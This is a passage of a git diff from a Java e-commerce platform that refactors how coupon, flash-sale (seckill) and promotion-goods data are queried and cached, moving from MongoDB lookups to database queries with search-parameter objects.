couponVO.getScopeType().equals(CouponScopeTypeEnum.ALL.name())) { - if (("platform").equals(couponVO.getStoreId()) || index.getStoreId().equals(couponVO.getStoreId())) { - String couponKey = PromotionTypeEnum.COUPON.name() + "-" + couponVO.getId(); - promotionMap.put(couponKey, couponVO); - } + CouponSearchParams couponSearchParams = new CouponSearchParams(); + couponSearchParams.setScopeType(PromotionsScopeTypeEnum.ALL.name()); + couponSearchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); + List couponVOS = this.couponService.listFindAll(couponSearchParams); + for (Coupon coupon : couponVOS) { + if (("platform").equals(coupon.getStoreId()) || index.getStoreId().equals(coupon.getStoreId())) { + String couponKey = PromotionTypeEnum.COUPON.name() + "-" + coupon.getId(); + promotionMap.put(couponKey, coupon); } } - LambdaQueryWrapper promotionGoodsQuery = new LambdaQueryWrapper<>(); - promotionGoodsQuery.eq(PromotionGoods::getDeleteFlag, false); - promotionGoodsQuery.eq(PromotionGoods::getPromotionStatus, PromotionStatusEnum.START.name()); - promotionGoodsQuery.ge(PromotionGoods::getEndTime, new Date()); - promotionGoodsQuery.eq(PromotionGoods::getSkuId, index.getId()); - List promotionGoodsList = promotionGoodsService.list(promotionGoodsQuery); + PromotionGoodsSearchParams promotionGoodsSearchParams = new PromotionGoodsSearchParams(); + promotionGoodsSearchParams.setSkuId(index.getId()); + promotionGoodsSearchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); + List promotionGoodsList = promotionGoodsService.listFindAll(promotionGoodsSearchParams); for (PromotionGoods promotionGoods : promotionGoodsList) { String esPromotionKey = promotionGoods.getPromotionType() + "-" + promotionGoods.getPromotionId(); switch (PromotionTypeEnum.valueOf(promotionGoods.getPromotionType())) { @@ -234,25 +157,7 @@ public class PromotionServiceImpl implements PromotionService { promotionMap.put(esPromotionKey, fullDiscount); break; case SECKILL: - Seckill seckill = seckillService.getById(promotionGoods.getPromotionId()); - LambdaQueryWrapper seckillApplyLambdaQueryWrapper = new LambdaQueryWrapper<>(); - seckillApplyLambdaQueryWrapper.eq(SeckillApply::getSeckillId, promotionGoods.getPromotionId()); - seckillApplyLambdaQueryWrapper.eq(SeckillApply::getSkuId, promotionGoods.getSkuId()); - SeckillApply seckillApply = seckillApplyService.getOne(seckillApplyLambdaQueryWrapper); - int nextHour = 23; - String[] split = seckill.getHours().split(","); - int[] hoursSored = Arrays.stream(split).mapToInt(Integer::parseInt).toArray(); - Arrays.sort(hoursSored); - for (int i : hoursSored) { - if (seckillApply.getTimeLine() < i) { - nextHour = i; - } - } - String seckillKey = promotionGoods.getPromotionType() + "-" + nextHour; - seckill.setStartTime(promotionGoods.getStartTime()); - seckill.setEndTime(promotionGoods.getEndTime()); - promotionMap.put(seckillKey, seckill); - index.setPromotionPrice(promotionGoods.getPrice()); + this.getGoodsCurrentSeckill(promotionGoods, promotionMap, index); break; case POINTS_GOODS: PointsGoods pointsGoods = pointsGoodsService.getById(promotionGoods.getPromotionId()); @@ -265,277 +170,31 @@ public class PromotionServiceImpl implements PromotionService { return promotionMap; } - /** - * 修改满额活动状态 - * - * @param promotionMessage 信息队列传输促销信息实体 - * @param esPromotionKey es Key - * @param promotionTypeEnum 促销分类枚举 - * @return 修改结果 - */ - private boolean updateFullDiscount(PromotionMessage promotionMessage, String esPromotionKey, PromotionTypeEnum promotionTypeEnum) { - boolean result; - //从mongo中获取促销备份 - FullDiscountVO fullDiscountVO = mongoTemplate.findById(promotionMessage.getPromotionId(), FullDiscountVO.class); - if (fullDiscountVO == null) { - this.throwPromotionException(promotionTypeEnum, promotionMessage.getPromotionId(), promotionMessage.getPromotionStatus()); - return false; - } - //写入促销状态 - fullDiscountVO.setPromotionStatus(promotionMessage.getPromotionStatus()); - //修改促销数据 - result = this.fullDiscountService.update(updateWrapper(promotionMessage)); - //clone一个活动信息,用于存放与索引中 - FullDiscountVO clone = ObjectUtil.clone(fullDiscountVO); - clone.setPromotionGoodsList(null); - if (fullDiscountVO.getPromotionGoodsList() == null) { - //如果为全品类则更新全部索引 - this.goodsIndexService.updateEsGoodsIndexAllByList(clone, esPromotionKey); - } else { - //如不为全品类,更新指定索引 - for (PromotionGoods promotionGoods : fullDiscountVO.getPromotionGoodsList()) { - promotionGoods.setPromotionStatus(promotionMessage.getPromotionStatus()); - } - this.promotionGoodsService.updateBatchById(fullDiscountVO.getPromotionGoodsList()); - this.goodsIndexService.updateEsGoodsIndexByList(fullDiscountVO.getPromotionGoodsList(), clone, esPromotionKey); - } - this.mongoTemplate.save(fullDiscountVO); - return result; - } - /** - * 修改优惠券状态 - * - * @param promotionMessage 信息队列传输促销信息实体 - * @param esPromotionKey es Key - * @param promotionTypeEnum 促销分类枚举 - * @return 修改结果 - */ - private boolean updateCoupon(PromotionMessage promotionMessage, String esPromotionKey, PromotionTypeEnum promotionTypeEnum) { - boolean result; - //从mongo中获取优惠券信息 - CouponVO couponVO = this.mongoTemplate.findById(promotionMessage.getPromotionId(), CouponVO.class); - if (couponVO == null) { - this.throwPromotionException(promotionTypeEnum, promotionMessage.getPromotionId(), promotionMessage.getPromotionStatus()); - return false; - } - //修改优惠券 - couponVO.setPromotionStatus(promotionMessage.getPromotionStatus()); - result = this.couponService.update(updateWrapper(promotionMessage)); - //优惠券活动结束,会员已领取未使用的优惠券状态修改为:已过期 - if (couponVO.getPromotionStatus().equals(PromotionStatusEnum.END)) { - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper() - .eq(MemberCoupon::getCouponId, couponVO.getId()) - .eq(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.NEW.name()) - .set(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.EXPIRE.name()); - this.memberCouponService.update(updateWrapper); - } - //clone一个活动信息,用于存放与索引中 - CouponVO clone = ObjectUtil.clone(couponVO); - clone.setPromotionGoodsList(null); - if (CouponScopeTypeEnum.PORTION_GOODS.name().equals(couponVO.getScopeType())) { - //如为部分商品,则更新部分商品索引 - this.promotionGoodsService.updateBatchById(couponVO.getPromotionGoodsList()); - this.goodsIndexService.updateEsGoodsIndexByList(couponVO.getPromotionGoodsList(), clone, esPromotionKey); - } else if (CouponScopeTypeEnum.ALL.name().equals(couponVO.getScopeType())) { - //如为全部,则更新全部商品索引 - this.goodsIndexService.updateEsGoodsIndexAllByList(clone, esPromotionKey); - } - this.mongoTemplate.save(couponVO); - return result; - } - - /** - * 修改拼团状态 - * - * @param promotionMessage 信息队列传输促销信息实体 - * @param esPromotionKey es Key - * @param promotionTypeEnum 促销分类枚举 - * @return 修改结果 - */ - private boolean updatePintuan(PromotionMessage promotionMessage, String esPromotionKey, PromotionTypeEnum promotionTypeEnum) { - boolean result; - PintuanVO pintuanVO = this.mongoTemplate.findById(promotionMessage.getPromotionId(), PintuanVO.class); - if (pintuanVO == null) { - this.throwPromotionException(promotionTypeEnum, promotionMessage.getPromotionId(), promotionMessage.getPromotionStatus()); - return false; - } - pintuanVO.setPromotionStatus(promotionMessage.getPromotionStatus()); - result = this.pintuanService.update(updateWrapper(promotionMessage)); - this.promotionGoodsService.updateBatchById(pintuanVO.getPromotionGoodsList()); - if (pintuanVO.getPromotionGoodsList() != null) { - List promotionGoodsList = pintuanVO.getPromotionGoodsList(); - //更新促销商品索引 - for (PromotionGoods promotionGoods : promotionGoodsList) { - Pintuan pintuan1 = JSONUtil.toBean(JSONUtil.toJsonStr(pintuanVO), Pintuan.class); - this.goodsIndexService.updateEsGoodsIndex(promotionGoods.getSkuId(), pintuan1, esPromotionKey, promotionGoods.getPrice()); - } - } - this.mongoTemplate.save(pintuanVO); - return result; - - - } - - /** - * 修改秒杀状态 - * - * @param promotionMessage 信息队列传输促销信息实体 - * @param promotionTypeEnum 促销分类枚举 - * @return 修改结果 - */ - private boolean updateSeckill(PromotionMessage promotionMessage, PromotionTypeEnum promotionTypeEnum) { - boolean result; - SeckillVO seckill = this.mongoTemplate.findById(promotionMessage.getPromotionId(), SeckillVO.class); - if (seckill == null) { - this.throwPromotionException(promotionTypeEnum, promotionMessage.getPromotionId(), promotionMessage.getPromotionStatus()); - return false; - } - if (seckill.getEndTime() == null) { - seckill.setEndTime(DateUtil.endOfDay(seckill.getStartTime())); - } - //修改活动状态 - seckill.setPromotionStatus(promotionMessage.getPromotionStatus()); - result = this.seckillService.update(updateWrapper(promotionMessage)); - log.info("更新限时抢购活动状态:{}", seckill); - - //判断参与活动的商品是否为空 - if (seckill.getSeckillApplyList() != null && !seckill.getSeckillApplyList().isEmpty()) { - //循环秒杀商品数据,将数据按照时间段进行存储 - for (SeckillApply seckillApply : seckill.getSeckillApplyList()) { - if (seckillApply.getPromotionApplyStatus().equals(PromotionApplyStatusEnum.PASS.name())) { - //下一个时间,默认为当天结束时间 - int nextHour = 23; - String[] split = seckill.getHours().split(","); - int[] hoursSored = Arrays.stream(split).mapToInt(Integer::parseInt).toArray(); - //排序时间段 - Arrays.sort(hoursSored); - for (int i : hoursSored) { - //如果当前时间段大于排序后的时间段的某个,当前时间段的下个时间段即为排序后的时间段的某个 - if (seckillApply.getTimeLine() < i) { - nextHour = i; - break; - } - } - Seckill seckill1 = JSONUtil.toBean(JSONUtil.toJsonStr(seckill), Seckill.class); - String format = DateUtil.format(seckill.getStartTime(), cn.lili.common.utils.DateUtil.STANDARD_DATE_FORMAT); - DateTime parseStartTime = DateUtil.parse((format + " " + seckillApply.getTimeLine()), "yyyy-MM-dd HH"); - DateTime parseEndTime = DateUtil.parse((format + " " + nextHour), "yyyy-MM-dd HH"); - //如果是当天最后的时间段则设置到当天结束时间的59分59秒 - if (nextHour == seckillApply.getTimeLine()) { - parseEndTime = DateUtil.parse((format + " " + nextHour + ":59:59"), cn.lili.common.utils.DateUtil.STANDARD_FORMAT); - } - seckill1.setStartTime(parseStartTime); - //当时商品的秒杀活动活动结束时间为下个时间段的开始 - seckill1.setEndTime(parseEndTime); - log.info("更新限时抢购商品状态:{}", seckill1); - this.goodsIndexService.updateEsGoodsIndex(seckillApply.getSkuId(), seckill1, promotionTypeEnum.name() + "-" + seckillApply.getTimeLine(), seckillApply.getPrice()); + private void getGoodsCurrentSeckill(PromotionGoods promotionGoods, Map promotionMap, EsGoodsIndex index) { + Seckill seckill = seckillService.getById(promotionGoods.getPromotionId()); + SeckillSearchParams searchParams = new SeckillSearchParams(); + searchParams.setSeckillId(promotionGoods.getPromotionId()); + searchParams.setSkuId(promotionGoods.getSkuId()); + List seckillApplyList = seckillApplyService.getSeckillApply(searchParams); + if (seckillApplyList != null && !seckillApplyList.isEmpty()) { + SeckillApply seckillApply = seckillApplyList.get(0); + int nextHour = 23; + String[] split = seckill.getHours().split(","); + int[] hoursSored = Arrays.stream(split).mapToInt(Integer::parseInt).toArray(); + Arrays.sort(hoursSored); + for (int i : hoursSored) { + if (seckillApply.getTimeLine() < i) { + nextHour = i; } } + String seckillKey = promotionGoods.getPromotionType() + "-" + nextHour; + seckill.setStartTime(promotionGoods.getStartTime()); + seckill.setEndTime(promotionGoods.getEndTime()); + promotionMap.put(seckillKey, seckill); + index.setPromotionPrice(promotionGoods.getPrice()); } - this.mongoTemplate.save(seckill); - return result; } - /** - * 修改积分商品状态 - * - * @param promotionMessage 信息队列传输促销信息实体 - * @param promotionTypeEnum 促销分类枚举 - * @return 修改结果 - */ - private boolean updatePointsGoods(PromotionMessage promotionMessage, PromotionTypeEnum promotionTypeEnum) { - boolean result; - PointsGoodsVO pointsGoodsVO = this.mongoTemplate.findById(promotionMessage.getPromotionId(), PointsGoodsVO.class); - if (pointsGoodsVO == null) { - this.throwPromotionException(promotionTypeEnum, promotionMessage.getPromotionId(), promotionMessage.getPromotionStatus()); - return false; - } - pointsGoodsVO.setPromotionStatus(promotionMessage.getPromotionStatus()); - result = this.pointsGoodsService.update(updateWrapper(promotionMessage)); - this.mongoTemplate.save(pointsGoodsVO); - return result; - } - - /** - * 修改砍价商品状态 - * - * @param promotionMessage 信息队列传输促销信息实体 - * @param promotionTypeEnum 促销分类枚举 - * @return 修改结果 - */ - private boolean updateKanjiaGoods(PromotionMessage promotionMessage, PromotionTypeEnum promotionTypeEnum) { - KanjiaActivityGoodsDTO kanJiaActivityGoodsDTO = this.mongoTemplate.findById(promotionMessage.getPromotionId(), KanjiaActivityGoodsDTO.class); - if (kanJiaActivityGoodsDTO == null) { - this.throwPromotionException(promotionTypeEnum, promotionMessage.getPromotionId(), promotionMessage.getPromotionStatus()); - return false; - } - kanJiaActivityGoodsDTO.setPromotionStatus(promotionMessage.getPromotionStatus()); - boolean result = this.kanJiaActivityGoodsService.updateById(kanJiaActivityGoodsDTO); - if (result) { - this.mongoTemplate.save(kanJiaActivityGoodsDTO); - } - return result; - } - - /** - * 修改优惠券活动状态 - * - * @param promotionMessage 信息队列传输促销信息实体 - * @param promotionTypeEnum 促销分类枚举 - * @return 修改结果 - */ - private boolean updateCouponActivity(PromotionMessage promotionMessage, PromotionTypeEnum promotionTypeEnum) { - - //如果是精准发券,进行发送优惠券 - CouponActivity couponActivity = couponActivityService.getById(promotionMessage.getPromotionId()); - if (couponActivity.getCouponActivityType().equals(CouponActivityTypeEnum.SPECIFY.name())) { - couponActivityService.specify(couponActivity.getId()); - } - - //修改活动状态 - return couponActivityService.update(new LambdaUpdateWrapper() - .eq(CouponActivity::getId, promotionMessage.getPromotionId()) - .set(CouponActivity::getPromotionStatus, promotionMessage.getPromotionStatus())); - } - - /** - * 更新促销商品信息 - * - * @param promotionId 促销活动ID - * @param promotionStatus 活动状态 - */ - private void updatePromotionGoods(String promotionId, String promotionStatus) { - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); - updateWrapper.eq(PromotionGoods::getPromotionId, promotionId).set(PromotionGoods::getPromotionStatus, promotionStatus); - this.promotionGoodsService.update(updateWrapper); - } - - - /** - * 抛出促销异常 - * - * @param type 促销类型 - * @param id 促销编号 - * @param status 促销状态 - */ - private void throwPromotionException(PromotionTypeEnum type, String id, String status) { - log.error("当前" + type.name() + "活动ID为[" + id + "] 不存在,更改活动状态至[ " + status + " ]失败!"); - throw new ServiceException(ResultCode.PROMOTION_STATUS_END); - } - - - /** - * 根据消息,获取update wrapper - * - * @param - * @return - */ - private UpdateWrapper updateWrapper(PromotionMessage promotionMessage) { - UpdateWrapper updateWrapper = new UpdateWrapper<>(); - updateWrapper.eq("id", promotionMessage.getPromotionId()); - updateWrapper.set("promotion_status", PromotionStatusEnum.valueOf(promotionMessage.getPromotionStatus())); - return updateWrapper; - } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java index 4142251e..56b50ca8 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java @@ -1,12 +1,12 @@ package cn.lili.modules.promotion.serviceimpl; import cn.hutool.core.bean.BeanUtil; -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.convert.Convert; +import cn.hutool.core.date.DatePattern; import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.cache.Cache; +import cn.lili.cache.CachePrefix; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; @@ -16,8 +16,8 @@ import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dos.Seckill; import cn.lili.modules.promotion.entity.dos.SeckillApply; -import cn.lili.modules.promotion.entity.enums.PromotionApplyStatusEnum; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.enums.PromotionsApplyStatusEnum; import cn.lili.modules.promotion.entity.vos.*; import cn.lili.modules.promotion.mapper.SeckillApplyMapper; import cn.lili.modules.promotion.service.PromotionGoodsService; @@ -25,14 +25,12 @@ import cn.lili.modules.promotion.service.SeckillApplyService; import cn.lili.modules.promotion.service.SeckillService; import cn.lili.modules.promotion.tools.PromotionCacheKeys; import cn.lili.modules.promotion.tools.PromotionTools; -import cn.lili.modules.search.service.EsGoodsIndexService; +import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.data.mongodb.core.MongoTemplate; -import org.springframework.data.mongodb.core.query.Query; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; @@ -48,18 +46,14 @@ import java.util.stream.Collectors; */ @Service @Transactional(rollbackFor = Exception.class) +@Slf4j public class SeckillApplyServiceImpl extends ServiceImpl implements SeckillApplyService { /** * 缓存 */ @Autowired - private Cache cache; - /** - * Mongo - */ - @Autowired - private MongoTemplate mongoTemplate; + private Cache> cache; /** * 规格商品 */ @@ -75,33 +69,11 @@ public class SeckillApplyServiceImpl extends ServiceImpl getSeckillTimeline() { - List timelineVoS = new ArrayList<>(); //秒杀活动缓存key - String seckillCacheKey = PromotionCacheKeys.getSeckillTimelineKey(DateUtil.format(DateUtil.beginOfDay(new DateTime()), "yyyyMMdd")); - Map cacheSeckill = cache.getHash(seckillCacheKey); - if (cacheSeckill == null || cacheSeckill.isEmpty()) { - //如缓存中不存在,则单独获取 - try { - timelineVoS = getSeckillTimelineToCache(seckillCacheKey); - } catch (Exception e) { - log.error("获取秒杀活动信息发生错误!", e); - } - } else { - //如缓存中存在,则取缓存中转为展示的信息 - for (Object value : cacheSeckill.values()) { - SeckillTimelineVO seckillTimelineVO = (SeckillTimelineVO) value; - timelineVoS.add(seckillTimelineVO); - } - } - return timelineVoS; + return getSeckillTimelineToCache(null); } @Override @@ -109,104 +81,105 @@ public class SeckillApplyServiceImpl extends ServiceImpl seckillGoodsVoS = new ArrayList<>(); //秒杀活动缓存key String seckillCacheKey = PromotionCacheKeys.getSeckillTimelineKey(DateUtil.format(DateUtil.beginOfDay(new DateTime()), "yyyyMMdd")); - Map cacheSeckill = cache.getHash(seckillCacheKey); + List cacheSeckill = cache.get(seckillCacheKey); if (cacheSeckill == null || cacheSeckill.isEmpty()) { //如缓存中不存在,则单独获取 - seckillGoodsVoS = wrapperSeckillGoods(timeline); + List seckillTimelineToCache = getSeckillTimelineToCache(seckillCacheKey); + Optional first = seckillTimelineToCache.stream().filter(i -> i.getTimeLine().equals(timeline)).findFirst(); + if (first.isPresent()) { + seckillGoodsVoS = first.get().getSeckillGoodsList(); + } } else { //如缓存中存在,则取缓存中转为展示的信息 - for (Map.Entry entry : cacheSeckill.entrySet()) { - Integer timelineKey = Convert.toInt(entry.getKey().toString()); - if (timelineKey.equals(timeline)) { - seckillGoodsVoS = (List) entry.getValue(); - } + Optional first = cacheSeckill.stream().filter(i -> i.getTimeLine().equals(timeline)).findFirst(); + if (first.isPresent()) { + seckillGoodsVoS = first.get().getSeckillGoodsList(); } } return seckillGoodsVoS; } @Override - public IPage getSeckillApplyFromMongo(SeckillSearchParams queryParam, PageVO pageVo) { - IPage seckillApplyPage = new Page<>(); - Query query = queryParam.mongoQuery(); + public IPage getSeckillApply(SeckillSearchParams queryParam, PageVO pageVo) { + IPage seckillApplyPage = this.page(PageUtil.initPage(pageVo), queryParam.queryWrapper()); + if (seckillApplyPage != null && !seckillApplyPage.getRecords().isEmpty()) { - SeckillVO seckillVO = this.mongoTemplate.findOne(query, SeckillVO.class); - if (seckillVO != null && pageVo != null) { - seckillApplyPage.setCurrent(pageVo.getMongoPageNumber()); - seckillApplyPage.setSize(pageVo.getPageSize()); - List seckillApplyList = seckillVO.getSeckillApplyList() != null ? seckillVO.getSeckillApplyList() : new ArrayList<>(); - // 如果查询参数店铺id不为空,则表示是店铺在查询信息,那么这里要对店铺的请求做过滤处理,把其他店铺的信息进行移除 - seckillApplyList.removeIf(seckillApply -> CharSequenceUtil.isNotEmpty(queryParam.getStoreId()) && !seckillApply.getStoreId().equals(queryParam.getStoreId())); - - //获取skuid - List skuIds = seckillApplyList.stream() + //获取skuId + List skuIds = seckillApplyPage.getRecords().stream() .map(SeckillApply::getSkuId).collect(Collectors.toList()); //循环获取 店铺/全平台 参与的促销商品库存进行填充 - if (skuIds.size() > 0) { - List skuStock = promotionGoodsService.getPromotionGoodsStock(PromotionTypeEnum.SECKILL, seckillVO.getId(), skuIds); + if (!skuIds.isEmpty()) { + List skuStock = promotionGoodsService.getPromotionGoodsStock(PromotionTypeEnum.SECKILL, queryParam.getSeckillId(), skuIds); for (int i = 0; i < skuIds.size(); i++) { - seckillApplyList.get(i).setQuantity(skuStock.get(i)); + seckillApplyPage.getRecords().get(i).setQuantity(skuStock.get(i)); } } - - seckillApplyPage.setTotal(seckillApplyList.size()); - List page = CollUtil.page(pageVo.getMongoPageNumber(), pageVo.getPageSize(), seckillApplyList); - seckillApplyPage.setRecords(page); - return seckillApplyPage; - } else { - return null; } + return seckillApplyPage; + } + + /** + * 分页查询限时请购申请列表 + * + * @param queryParam 秒杀活动申请查询参数 + * @return 限时请购申请列表 + */ + @Override + public List getSeckillApply(SeckillSearchParams queryParam) { + return this.list(queryParam.queryWrapper()); } @Override public void addSeckillApply(String seckillId, String storeId, List seckillApplyList) { - SeckillVO seckill = mongoTemplate.findById(seckillId, SeckillVO.class); + Seckill seckill = this.seckillService.getById(seckillId); if (seckill == null) { throw new ServiceException(ResultCode.SECKILL_NOT_EXIST_ERROR); } + if (seckillApplyList == null || seckillApplyList.isEmpty()) { + return; + } //检查秒杀活动申请是否合法 - checkSeckillApplyList(seckill.getHours(), seckillApplyList, storeId); + checkSeckillApplyList(seckill.getHours(), seckillApplyList); //获取已参与活动的秒杀活动活动申请列表 - List originList = seckill.getSeckillApplyList() != null ? seckill.getSeckillApplyList() : new ArrayList<>(); + List skuIds = seckillApplyList.stream().map(SeckillApply::getSkuId).collect(Collectors.toList()); + List originList = new ArrayList<>(); List promotionGoodsList = new ArrayList<>(); for (SeckillApplyVO seckillApply : seckillApplyList) { //获取参与活动的商品信息 GoodsSku goodsSku = goodsSkuService.getGoodsSkuByIdFromCache(seckillApply.getSkuId()); + if (!goodsSku.getStoreId().equals(storeId)) { + continue; + } //获取秒杀活动时间段 DateTime startTime = DateUtil.offsetHour(seckill.getStartTime(), seckillApply.getTimeLine()); //检测是否可以发布促销商品 checkSeckillGoodsSku(seckill, seckillApply, goodsSku, startTime); //设置秒杀申请默认内容 seckillApply.setOriginalPrice(goodsSku.getPrice()); - seckillApply.setPromotionApplyStatus(PromotionApplyStatusEnum.PASS.name()); + seckillApply.setPromotionApplyStatus(PromotionsApplyStatusEnum.PASS.name()); seckillApply.setSalesNum(0); - //过滤掉已经新增过的秒杀商品 - if (seckillApply.getId() == null) { - originList.add(seckillApply); - } + originList.add(seckillApply); //获取促销商品 PromotionGoods promotionGoods = this.setSeckillGoods(goodsSku, seckillApply, seckill); promotionGoodsList.add(promotionGoods); } - //保存秒杀活动申请 - this.saveOrUpdateBatch(originList); - //设置秒杀活动下的申请列表 - seckill.setSeckillApplyList(originList); - //mongo保存秒杀活动信息 - this.mongoTemplate.save(seckill); + this.remove(new LambdaQueryWrapper().eq(SeckillApply::getSeckillId, seckillId).in(SeckillApply::getSkuId, skuIds)); + this.saveBatch(originList); + this.seckillService.updateEsGoodsSeckill(seckill, originList); //保存促销活动商品信息 if (!promotionGoodsList.isEmpty()) { - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.in(PromotionGoods::getSkuId, promotionGoodsList.stream().map(PromotionGoods::getSkuId).collect(Collectors.toList())) - .eq(PromotionGoods::getStoreId, storeId); - promotionGoodsService.remove(queryWrapper); + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setStoreId(storeId); + searchParams.setSkuIds(promotionGoodsList.stream().map(PromotionGoods::getSkuId).collect(Collectors.toList())); + promotionGoodsService.deletePromotionGoods(searchParams); //初始化促销商品 PromotionTools.promotionGoodsInit(promotionGoodsList, seckill, PromotionTypeEnum.SECKILL); promotionGoodsService.saveBatch(promotionGoodsList); } //设置秒杀活动的商品数量、店铺数量 seckillService.updateSeckillGoodsNum(seckillId); + cache.vagueDel(CachePrefix.STORE_ID_SECKILL); } @@ -214,31 +187,27 @@ public class SeckillApplyServiceImpl extends ServiceImpl id.contains(seckillApply1.getId())); - this.mongoTemplate.save(seckillVO); + this.remove(new LambdaQueryWrapper() + .eq(SeckillApply::getSeckillId, seckillId) + .in(SeckillApply::getId, id)); //删除促销商品 - this.removeById(id); - - //清除索引 - this.goodsIndexService.deleteEsGoodsPromotionByPromotionId(skuId, seckillId); - //删除促销商品 - promotionGoodsService.remove(new LambdaQueryWrapper() - .eq(PromotionGoods::getSkuId, skuId) - .eq(PromotionGoods::getPromotionType, PromotionTypeEnum.SECKILL.name())); + this.promotionGoodsService.deletePromotionGoods(seckillId, Collections.singletonList(seckillApply.getSkuId())); } /** @@ -246,12 +215,10 @@ public class SeckillApplyServiceImpl extends ServiceImpl seckillApplyList, String storeId) { + private void checkSeckillApplyList(String hours, List seckillApplyList) { List existSku = new ArrayList<>(); for (SeckillApplyVO seckillApply : seckillApplyList) { - seckillApply.setStoreId(storeId); if (seckillApply.getPrice() > seckillApply.getOriginalPrice()) { throw new ServiceException(ResultCode.SECKILL_PRICE_ERROR); } @@ -280,42 +247,41 @@ public class SeckillApplyServiceImpl extends ServiceImpl getSeckillTimelineToCache(String seckillCacheKey) { List timelineList = new ArrayList<>(); LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - //查询当天时间段内的且状态不为结束或关闭的秒杀活动活动 - queryWrapper.ge(Seckill::getStartTime, new Date(cn.lili.common.utils.DateUtil.startOfTodDay() * 1000)).le(Seckill::getEndTime, cn.lili.common.utils.DateUtil.endOfDate()) - .and(i -> i.eq(Seckill::getPromotionStatus, PromotionStatusEnum.NEW.name()) - .or(j -> j.eq(Seckill::getPromotionStatus, PromotionStatusEnum.START.name()))); - List seckillList = seckillService.list(queryWrapper); - if (!seckillList.isEmpty()) { - for (Seckill seckill : seckillList) { - //读取系统时间的时刻 - Calendar c = Calendar.getInstance(); - int hour = c.get(Calendar.HOUR_OF_DAY); - String[] split = seckill.getHours().split(","); - int[] hoursSored = Arrays.stream(split).mapToInt(Integer::parseInt).toArray(); - Arrays.sort(hoursSored); - for (int i = 0; i < hoursSored.length; i++) { - SeckillTimelineVO tempTimeline = new SeckillTimelineVO(); - boolean hoursSoredHour = (hoursSored[i] >= hour || ((i + 1) < hoursSored.length && hoursSored[i + 1] > hour)); - if (hoursSoredHour) { - SimpleDateFormat format = new SimpleDateFormat(cn.lili.common.utils.DateUtil.STANDARD_DATE_FORMAT); - String date = format.format(new Date()); - //当前时间的秒数 - long currentTime = cn.lili.common.utils.DateUtil.getDateline(); - //秒杀活动的时刻 - long timeLine = cn.lili.common.utils.DateUtil.getDateline(date + " " + hoursSored[i], "yyyy-MM-dd HH"); + //查询当天时间段内的秒杀活动活动 + Date now = new Date(); + queryWrapper.between(BasePromotions::getStartTime, DateUtil.beginOfDay(now), DateUtil.endOfDay(now)); + queryWrapper.ge(BasePromotions::getEndTime, DateUtil.endOfDay(now)); + List seckillList = this.seckillService.list(queryWrapper); + for (Seckill seckill : seckillList) { + //读取系统时间的时刻 + Calendar c = Calendar.getInstance(); + int hour = c.get(Calendar.HOUR_OF_DAY); + String[] split = seckill.getHours().split(","); + int[] hoursSored = Arrays.stream(split).mapToInt(Integer::parseInt).toArray(); + Arrays.sort(hoursSored); + for (int i = 0; i < hoursSored.length; i++) { + SeckillTimelineVO tempTimeline = new SeckillTimelineVO(); + boolean hoursSoredHour = (hoursSored[i] >= hour || ((i + 1) < hoursSored.length && hoursSored[i + 1] > hour)); + if (hoursSoredHour) { + SimpleDateFormat format = new SimpleDateFormat(DatePattern.NORM_DATE_PATTERN); + String date = format.format(new Date()); + //当前时间的秒数 + long currentTime = DateUtil.currentSeconds(); + //秒杀活动的时刻 + long timeLine = cn.lili.common.utils.DateUtil.getDateline(date + " " + hoursSored[i], "yyyy-MM-dd HH"); - - Long distanceTime = timeLine - currentTime < 0 ? 0 : timeLine - currentTime; - tempTimeline.setDistanceStartTime(distanceTime); - tempTimeline.setStartTime(timeLine); - tempTimeline.setTimeLine(hoursSored[i]); - tempTimeline.setSeckillGoodsList(wrapperSeckillGoods(hoursSored[i])); - timelineList.add(tempTimeline); - } + Long distanceTime = timeLine - currentTime < 0 ? 0 : timeLine - currentTime; + tempTimeline.setDistanceStartTime(distanceTime); + tempTimeline.setStartTime(timeLine); + tempTimeline.setTimeLine(hoursSored[i]); + tempTimeline.setSeckillGoodsList(wrapperSeckillGoods(hoursSored[i], seckill.getId())); + timelineList.add(tempTimeline); } } } - + if (CharSequenceUtil.isNotEmpty(seckillCacheKey)) { + cache.put(seckillCacheKey, timelineList); + } return timelineList; } @@ -326,27 +292,20 @@ public class SeckillApplyServiceImpl extends ServiceImpl wrapperSeckillGoods(Integer startTimeline) { + private List wrapperSeckillGoods(Integer startTimeline, String seckillId) { List seckillGoodsVoS = new ArrayList<>(); - LambdaQueryWrapper seckillLambdaQueryWrapper = new LambdaQueryWrapper<>(); - seckillLambdaQueryWrapper.ge(Seckill::getStartTime, new Date(cn.lili.common.utils.DateUtil.startOfTodDay() * 1000)).le(Seckill::getEndTime, 